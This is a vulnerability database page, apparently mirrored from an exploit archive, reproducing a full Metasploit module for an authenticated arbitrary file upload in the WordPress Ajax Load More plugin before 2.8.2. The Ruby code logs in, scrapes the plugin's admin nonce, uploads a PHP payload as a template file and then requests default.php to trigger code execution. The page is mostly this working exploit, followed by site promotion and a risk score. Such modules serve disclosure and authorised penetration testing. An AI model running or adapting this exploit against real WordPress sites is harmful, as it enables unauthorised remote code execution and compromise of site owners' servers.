Lucene search
K

Wordpress Ajax Load More Plugin < 2.8.2 - File Upload Vulnerability

🗓️ 18 Oct 2015 00:00:00Reported by PizzaHatHackerType 
zdt
 zdt
🔗 0day.today👁 17 Views

WordPress Plugin ajax-load-more Authenticated Arbitrary File Upload vulnerability. Requires valid wordpress credentials. Tested on version v2.7.3. Uploads payload using authenticated file upload vulnerability

Code
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
   
  include Msf::Exploit::FileDropper
  include Msf::HTTP::Wordpress
   
  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Plugin ajax-load-more Authenticated Arbitrary File Upload',
      'Description'     => %q{
          This module exploits an authenticated file upload vulnerability in Wordpress plugin
ajax-load-more versions < 2.8.2. Valid wordpress credentials are required for the exploit to work.
          Tested with version v2.7.3. (May work on older versions).
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Pizza Hat Hacker <PizzaHatHacker[A]gmail[.]com', # Vulnerability discovery & Metasploit module
        ],
      'References'      =>
        [
          ['WPVDB', '8209']
        ],
      'DisclosureDate'  => 'Oct 02 2015',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['ajax-load-more', {}]],
      'DefaultTarget'   => 0
    ))
     
    register_options(
    [
         OptString.new('WP_USER', [true, 'A valid wordpress username', nil]),
         OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
    ], self.class)
  end
   
  def user
    datastore['WP_USER']
  end
   
  def password
    datastore['WP_PASSWORD']
  end
   
  def check
    # Check plugin version
    ver = check_plugin_version_from_readme('ajax-load-more, 2.8.2')
    if ver
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end
   
  def exploit
    # Wordpress login
    print_status("#{peer} - Trying to login as #{user}")
    cookie = wordpress_login(user, password)
    if cookie.nil?
      print_error("#{peer} - Unable to login as #{user}")
      return
    end
     
    url = normalize_uri(wordpress_url_backend, 'profile.php')
    print_status("#{peer} - Retrieving WP nonce from #{url}")
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => url,
      'cookie'   => cookie
    })
     
    if res and res.code == 200
      # "alm_admin_nonce":"e58b6d536d"
      res.body =~ /\"alm_admin_nonce\":\"([0-9a-f]+)\"/
      wp_nonce = $1
      if wp_nonce
        print_good("#{peer} Found ajax-load-more wp_nonce value : #{wp_nonce}")
      else
        vprint_error("#{peer} #{res.body}")
        fail_with(Failure::Unknown, "#{peer} - Unable to retrieve wp_nonce from user profile page.")
      end
    else
      fail_with(Failure::Unknown, "#{peer} - Unexpected server response (code #{res.code}) while accessing user profile page.")
    end
 
    print_status("#{peer} - Trying to upload payload")
     
    # Generate MIME message
    data = Rex::MIME::Message.new
    data.add_part('alm_save_repeater', nil, nil, 'form-data; name="action"')
    data.add_part(wp_nonce, nil, nil, 'form-data; name="nonce"')
    data.add_part('default', nil, nil, 'form-data; name="type"')
    data.add_part("#{rand_text_alpha_lower(3)}", nil, nil, 'form-data; name="repeater"')
    data.add_part(payload.encoded, nil, nil, 'form-data; name="value"')
 
    print_status("#{peer} - Uploading payload")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(wordpress_url_admin_ajax),
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'data'     => data.to_s,
      'cookie'   => cookie
    })
     
    filename = 'default.php'
    if res
      if res.code == 200
        lines = res.body.split("\n")
        if lines.length > 0
          message = lines[lines.length - 1]
          if message.include?('Template Saved Successfully')
            register_files_for_cleanup(filename)
          else
            vprint_error("#{peer} - Unexpected web page content : #{message}")
          end
        else
          fail_with(Failure::Unknown, "#{peer} - Unexpected empty server response")
        end
      else
        fail_with(Failure::Unknown, "#{peer} - Unexpected HTTP response code : #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end
     
    print_status("#{peer} - Calling uploaded file #{filename}")
    send_request_cgi(
      'uri'    => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename)
    )
  end
end

#  0day.today [2018-02-06]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Oct 2015 00:00Current
7.1High risk
Vulners AI Score7.1
17